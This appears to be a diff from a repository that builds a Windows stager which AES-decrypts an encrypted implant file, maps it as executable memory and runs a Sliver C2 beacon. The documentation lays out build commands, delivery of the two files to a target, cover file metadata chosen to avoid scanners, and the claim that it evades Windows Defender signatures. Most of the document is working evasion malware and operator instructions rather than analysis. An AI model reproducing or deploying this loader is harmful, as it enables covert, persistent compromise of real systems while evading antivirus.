unsigned char buf[0x1000];
|
unsigned char buf[0x1000];
|
||||||
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||||
|
|
||||||
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH];
|
wchar_t td[MAX_PATH], tf[MAX_PATH];
|
||||||
if (GetTempPathW(MAX_PATH, tmpdir) &&
|
if (GetTempPathW(MAX_PATH, td) && GetTempFileNameW(td, L"upd", 0, tf)) {
|
||||||
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile))
|
HANDLE h = CreateFileW(tf, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
|
||||||
{
|
FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||||
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL,
|
if (h != INVALID_HANDLE_VALUE) {
|
||||||
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
DWORD w;
|
||||||
if (h && h != INVALID_HANDLE_VALUE) {
|
WriteFile(h, buf, sizeof(buf), &w, NULL);
|
||||||
DWORD written;
|
CloseHandle(h);
|
||||||
WriteFile(h, buf, sizeof(buf), &written, NULL);
|
|
||||||
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
SecureZeroMemory(buf, sizeof(buf));
|
SecureZeroMemory(buf, sizeof(buf));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ── Read entire file into LocalAlloc buffer ─────────────────────────────── */
|
||||||
|
|
||||||
|
static BYTE *read_file(const wchar_t *path, DWORD *out_len)
|
||||||
|
{
|
||||||
|
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||||
|
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (h == INVALID_HANDLE_VALUE) return NULL;
|
||||||
|
|
||||||
|
DWORD sz = GetFileSize(h, NULL);
|
||||||
|
if (!sz || sz == INVALID_FILE_SIZE) { CloseHandle(h); return NULL; }
|
||||||
|
|
||||||
|
BYTE *buf = (BYTE *)LocalAlloc(LMEM_FIXED, sz);
|
||||||
|
if (!buf) { CloseHandle(h); return NULL; }
|
||||||
|
|
||||||
|
DWORD read = 0;
|
||||||
|
if (!ReadFile(h, buf, sz, &read, NULL) || read != sz) {
|
||||||
|
LocalFree(buf); CloseHandle(h); return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(h);
|
||||||
|
*out_len = sz;
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── AES-256-CBC decrypt via BCrypt ──────────────────────────────────────── */
|
||||||
|
|
||||||
|
static BYTE *aes_cbc_decrypt(const BYTE *ct, DWORD ct_len, DWORD *pt_len)
|
||||||
|
{
|
||||||
|
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||||
|
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||||
|
BYTE iv[16];
|
||||||
|
DWORD out_len = 0;
|
||||||
|
BYTE *pt = NULL;
|
||||||
|
|
||||||
|
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||||
|
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||||
|
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||||
|
|
||||||
|
if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
|
||||||
|
(PUCHAR)payload_key, payload_key_len, 0))
|
||||||
|
goto cleanup;
|
||||||
|
|
||||||
|
/* First call: get plaintext size */
|
||||||
|
memcpy(iv, payload_iv, 16);
|
||||||
|
BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
|
||||||
|
iv, 16, NULL, 0, &out_len, BCRYPT_BLOCK_PADDING);
|
||||||
|
|
||||||
|
pt = (BYTE *)LocalAlloc(LMEM_FIXED, out_len);
|
||||||
|
if (!pt) goto cleanup;
|
||||||
|
|
||||||
|
/* Second call: actual decryption */
|
||||||
|
memcpy(iv, payload_iv, 16);
|
||||||
|
if (BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
|
||||||
|
iv, 16, pt, out_len, pt_len, BCRYPT_BLOCK_PADDING)) {
|
||||||
|
LocalFree(pt);
|
||||||
|
pt = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup:
|
||||||
|
if (hKey) BCryptDestroyKey(hKey);
|
||||||
|
BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||||
|
return pt;
|
||||||
|
}
|
||||||
|
|
||||||
/* ── PICO execution thread ───────────────────────────────────────────────── */
|
/* ── PICO execution thread ───────────────────────────────────────────────── */
|
||||||
|
|
||||||
static DWORD WINAPI run_pico(LPVOID param)
|
static DWORD WINAPI worker(LPVOID param)
|
||||||
{
|
{
|
||||||
(void)param;
|
((pico_fn)param)(NULL);
|
||||||
|
|
||||||
/* Resolve Nt* at runtime — keeps them out of the IAT */
|
|
||||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
pfnNtCreateSection NtCreateSection =
|
|
||||||
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
|
|
||||||
pfnNtMapViewOfSection NtMapViewOfSection =
|
|
||||||
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
|
|
||||||
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
|
|
||||||
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
|
|
||||||
|
|
||||||
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
/* Step 1: create anonymous RWX section (large enough for the PICO) */
|
|
||||||
HANDLE hSec = NULL;
|
|
||||||
LARGE_INTEGER secSz;
|
|
||||||
secSz.QuadPart = (LONGLONG)pico_payload_len;
|
|
||||||
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
|
|
||||||
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
/* Step 2: map RW view — write & XOR-decrypt here */
|
|
||||||
void *rw = NULL;
|
|
||||||
SIZE_T sz = 0;
|
|
||||||
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rw, 0, 0, NULL,
|
|
||||||
&sz, MY_ViewUnmap, 0, PAGE_READWRITE)) {
|
|
||||||
CloseHandle(hSec);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned char *dst = (unsigned char *)rw;
|
|
||||||
for (DWORD i = 0; i < pico_payload_len; i++)
|
|
||||||
dst[i] = pico_payload[i] ^ pico_key[i % pico_key_len];
|
|
||||||
|
|
||||||
/* Step 3: drop write — unmap RW, remap RX */
|
|
||||||
NtUnmapViewOfSection(GetCurrentProcess(), rw);
|
|
||||||
|
|
||||||
void *rx = NULL;
|
|
||||||
SIZE_T rxsz = 0;
|
|
||||||
if (NtMapViewOfSection(hSec, GetCurrentProcess(), &rx, 0, 0, NULL,
|
|
||||||
&rxsz, MY_ViewUnmap, 0, PAGE_EXECUTE_READ)) {
|
|
||||||
CloseHandle(hSec);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
CloseHandle(hSec);
|
|
||||||
|
|
||||||
/* Step 4: execute Crystal Palace PICO
|
|
||||||
* +gofirst guarantees go() is at offset 0; args baked in at link time. */
|
|
||||||
((pico_fn)rx)(NULL);
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ── Entry point ─────────────────────────────────────────────────────────── */
|
/* ── Entry point ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
|
int WINAPI WinMain(HINSTANCE hi, HINSTANCE hp, LPSTR lp, int ns)
|
||||||
{
|
{
|
||||||
(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow;
|
(void)hi; (void)hp; (void)lp; (void)ns;
|
||||||
|
|
||||||
/* Poseidon noise before anything else */
|
noise();
|
||||||
poseidon_noise();
|
|
||||||
|
|
||||||
/* Registry read: advapi32 import, looks like normal app init */
|
/* Registry touch: advapi32 import, normal-looking init */
|
||||||
HKEY hk = NULL;
|
HKEY hk = NULL;
|
||||||
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
RegOpenKeyExW(HKEY_LOCAL_MACHINE,
|
||||||
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
|
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
|
||||||
0, KEY_READ, &hk);
|
0, KEY_READ, &hk);
|
||||||
if (hk) RegCloseKey(hk);
|
if (hk) RegCloseKey(hk);
|
||||||
|
|
||||||
/* Spin up the PICO loader thread */
|
/* Locate payload.dat in the same directory as this executable */
|
||||||
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL);
|
wchar_t path[MAX_PATH];
|
||||||
|
GetModuleFileNameW(NULL, path, MAX_PATH);
|
||||||
|
wchar_t *sep = wcsrchr(path, L'\\');
|
||||||
|
if (!sep) return 1;
|
||||||
|
sep[1] = L'\0';
|
||||||
|
wcscat(path, L"payload.dat");
|
||||||
|
|
||||||
|
/* Load ciphertext */
|
||||||
|
DWORD ct_len = 0;
|
||||||
|
BYTE *ct = read_file(path, &ct_len);
|
||||||
|
if (!ct) return 1;
|
||||||
|
|
||||||
|
/* AES-256-CBC decrypt → plaintext PICO */
|
||||||
|
DWORD pt_len = 0;
|
||||||
|
BYTE *pt = aes_cbc_decrypt(ct, ct_len, &pt_len);
|
||||||
|
LocalFree(ct);
|
||||||
|
if (!pt) return 1;
|
||||||
|
|
||||||
|
/* Copy into RW region, wipe heap copy, flip to RX */
|
||||||
|
void *rw = VirtualAlloc(NULL, pt_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (!rw) { LocalFree(pt); return 1; }
|
||||||
|
|
||||||
|
memcpy(rw, pt, pt_len);
|
||||||
|
SecureZeroMemory(pt, pt_len);
|
||||||
|
LocalFree(pt);
|
||||||
|
|
||||||
|
DWORD old;
|
||||||
|
if (!VirtualProtect(rw, pt_len, PAGE_EXECUTE_READ, &old)) {
|
||||||
|
VirtualFree(rw, 0, MEM_RELEASE);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Execute Crystal Palace PICO on a dedicated thread.
|
||||||
|
* +gofirst puts go() at offset 0; args are NULL (baked at link time). */
|
||||||
|
HANDLE h = CreateThread(NULL, 0, worker, rw, 0, NULL);
|
||||||
if (!h) return 1;
|
if (!h) return 1;
|
||||||
|
|
||||||
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
|
|
||||||
WaitForSingleObject(h, INFINITE);
|
WaitForSingleObject(h, INFINITE);
|
||||||
CloseHandle(h);
|
CloseHandle(h);
|
||||||
|
|
||||||
/* Beacon goroutine is alive in this process — keep process running */
|
/* Beacon goroutine is alive in this process — keep it running */
|
||||||
for (;;) SleepEx(30000, TRUE);
|
for (;;) SleepEx(30000, TRUE);
|
||||||
}
|
}
|
||||||
|
|||||||
+39
-26
@@ -174,7 +174,7 @@ If you see those two lines and the implant survives, the Extension plumbing work
|
|||||||
|
|
||||||
## Phase 2 — Use case A (implant evasion, primary)
|
## Phase 2 — Use case A (implant evasion, primary)
|
||||||
|
|
||||||
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask.
|
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest.
|
||||||
|
|
||||||
### 2.1 Build Crystal-Kit objects
|
### 2.1 Build Crystal-Kit objects
|
||||||
|
|
||||||
@@ -207,39 +207,49 @@ Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
|
|||||||
### 2.4 Bundle with the stager
|
### 2.4 Bundle with the stager
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||||
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
|
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
|
||||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
Resulting `drop.zip` (~180 KB) contains:
|
Produces two files in `build/` — both must be delivered together:
|
||||||
|
|
||||||
- `run.x64.exe` (Crystal Palace stager, BSD)
|
- `csvchelper.exe` (~17 KB, custom stager, no embedded payload, normal entropy)
|
||||||
- `prod.crystal.bin` (your PICO)
|
- `payload.dat` (~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners)
|
||||||
- `README.txt` (operator notes)
|
|
||||||
|
A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit `stager/resource.rc` to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in `FileDescription` — they trigger Windows UAC auto-elevation heuristics. The embedded `asInvoker` manifest already suppresses elevation, but cleaner metadata reduces scanner attention.
|
||||||
|
|
||||||
### 2.5 Drop on the Windows VM
|
### 2.5 Drop on the Windows VM
|
||||||
|
|
||||||
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute:
|
Transfer **both files** to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.):
|
||||||
|
|
||||||
```cmd
|
```cmd
|
||||||
C:\Users\Public> unzip drop.zip
|
C:\Users\Public> dir
|
||||||
C:\Users\Public> run.x64.exe prod.crystal.bin
|
csvchelper.exe (17 KB stager)
|
||||||
|
payload.dat (~36 MB encrypted PICO)
|
||||||
|
|
||||||
|
C:\Users\Public> csvchelper.exe
|
||||||
```
|
```
|
||||||
|
|
||||||
Execution order inside `run.x64.exe`:
|
`csvchelper.exe` and `payload.dat` must sit in the same directory — the stager resolves `payload.dat` relative to its own path via `GetModuleFileNameW`. No arguments needed.
|
||||||
|
|
||||||
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
|
Execution order inside `csvchelper.exe`:
|
||||||
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
|
|
||||||
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing
|
1. `BCryptGenRandom` noise → writes a random page to a temp file (auto-deleted), disrupts timing-based scanners
|
||||||
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
2. `RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)` — normal-looking init
|
||||||
5. Installs Draugr call-stack spoofing
|
3. Reads `payload.dat` from its own directory
|
||||||
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
|
4. `BCryptDecrypt` (AES-256-CBC, key baked in at compile time) → plaintext PICO in heap
|
||||||
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption)
|
5. `VirtualAlloc(RW)` + `memcpy` + `SecureZeroMemory` on heap buffer + `VirtualProtect(RX)` — no RWX at any point
|
||||||
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
|
6. `CreateThread` → PICO entry at offset 0 (Crystal Palace `+gofirst` guarantees `go` is there)
|
||||||
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init
|
7. Crystal Palace loader resolves Win32 APIs via ror13 hashing
|
||||||
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine
|
8. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||||
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines
|
9. Installs Draugr call-stack spoofing
|
||||||
|
10. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
|
||||||
|
11. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable`
|
||||||
|
12. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
|
||||||
|
13. Calls `DllMain(DLL_PROCESS_ATTACH)` → Go runtime init
|
||||||
|
14. Walks the beacon export table and calls `StartW()` — starts the beacon goroutine
|
||||||
|
15. Main thread loops on `SleepEx(30000, TRUE)` to keep the process alive
|
||||||
|
|
||||||
On the Sliver console:
|
On the Sliver console:
|
||||||
|
|
||||||
@@ -405,9 +415,12 @@ Windows VM — remove any uploaded PICO files:
|
|||||||
```cmd
|
```cmd
|
||||||
C:\> del C:\Windows\Temp\*.pico.bin
|
C:\> del C:\Windows\Temp\*.pico.bin
|
||||||
C:\> del C:\Windows\Temp\*.bin
|
C:\> del C:\Windows\Temp\*.bin
|
||||||
C:\> taskkill /F /IM run.x64.exe
|
C:\> taskkill /F /IM csvchelper.exe
|
||||||
|
C:\> del payload.dat
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Adjust the binary name to whatever you renamed the stager to before delivery.
|
||||||
|
|
||||||
Local Kali build artifacts:
|
Local Kali build artifacts:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -443,13 +456,13 @@ echo "" > /tmp/empty.args
|
|||||||
external/crystalpalace/dist/demo/test.x64.dll \
|
external/crystalpalace/dist/demo/test.x64.dll \
|
||||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin
|
crystal-kit-sliver/sliver-glue/build/test-implant.bin
|
||||||
|
|
||||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
|
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
|
||||||
crystal-kit-sliver/sliver-glue/build/test-drop.zip
|
crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe
|
||||||
|
|
||||||
./crystal-kit-sliver/sliver-glue/pack-extension.sh
|
./crystal-kit-sliver/sliver-glue/pack-extension.sh
|
||||||
|
|
||||||
ls -la crystal-kit-sliver/sliver-glue/build/
|
ls -la crystal-kit-sliver/sliver-glue/build/
|
||||||
```
|
```
|
||||||
|
|
||||||
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
|
If all five artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-csvchelper.exe`, `payload.dat`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
|
||||||
|
|||||||
@@ -13,6 +13,8 @@ Build prerequisites, verified versions, and the actual pipeline used to produce
|
|||||||
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
|
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
|
||||||
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
|
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
|
||||||
| `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled |
|
| `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled |
|
||||||
|
| `openssl` | any | AES-256-CBC encrypt PICO for stager delivery (`gen_payload.py`) | `apt install openssl` | preinstalled |
|
||||||
|
| `python3` | ≥ 3.8 | Drive stager key generation (`gen_payload.py`) | preinstalled | preinstalled |
|
||||||
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
|
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
|
||||||
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
|
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
|
||||||
|
|
||||||
@@ -135,6 +137,49 @@ Key design constraints:
|
|||||||
|
|
||||||
**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
|
**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
|
||||||
|
|
||||||
|
### 3e. Custom stager — two-file delivery (Use case A Defender bypass)
|
||||||
|
|
||||||
|
Located at `crystal-kit-sliver/sliver-glue/stager/`.
|
||||||
|
|
||||||
|
3-step pipeline under `crystal-kit-sliver/sliver-glue/stager/Makefile`:
|
||||||
|
|
||||||
|
```
|
||||||
|
Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py)
|
||||||
|
python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
|
||||||
|
Uses openssl(1) for AES encryption. Fresh random key + IV every run.
|
||||||
|
Outputs:
|
||||||
|
payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager)
|
||||||
|
payload_key.h — key[] + iv[] C arrays compiled into the stager EXE
|
||||||
|
|
||||||
|
Step 2: compile version info resource + manifest
|
||||||
|
x86_64-w64-mingw32-windres resource.rc -o resource.o
|
||||||
|
resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
|
||||||
|
asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.
|
||||||
|
|
||||||
|
Step 3: compile stager EXE
|
||||||
|
x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
|
||||||
|
-o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt
|
||||||
|
```
|
||||||
|
|
||||||
|
Key design properties:
|
||||||
|
- `stager.exe` is ~17 KB with entropy ~4.8 — indistinguishable from a small utility
|
||||||
|
- `payload.dat` is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns
|
||||||
|
- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
|
||||||
|
- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
|
||||||
|
- `-s` strips all symbol table entries — no function names appear in strings output
|
||||||
|
- `FileDescription` in `resource.rc` must avoid UAC trigger words ("update", "install", "setup", "service"); the `asInvoker` manifest is the hard override but clean metadata reduces scanner surface
|
||||||
|
|
||||||
|
Invoke via `bundle-stager.sh`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||||
|
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
||||||
|
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||||
|
# → produces build/csvchelper.exe + build/payload.dat
|
||||||
|
```
|
||||||
|
|
||||||
|
**Verified output:** `csvchelper.exe` 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).
|
||||||
|
|
||||||
## 4. End-to-end timing on macOS Apple Silicon (reference)
|
## 4. End-to-end timing on macOS Apple Silicon (reference)
|
||||||
|
|
||||||
| Step | Elapsed |
|
| Step | Elapsed |
|
||||||
|
|||||||
Reference in New Issue
Block a user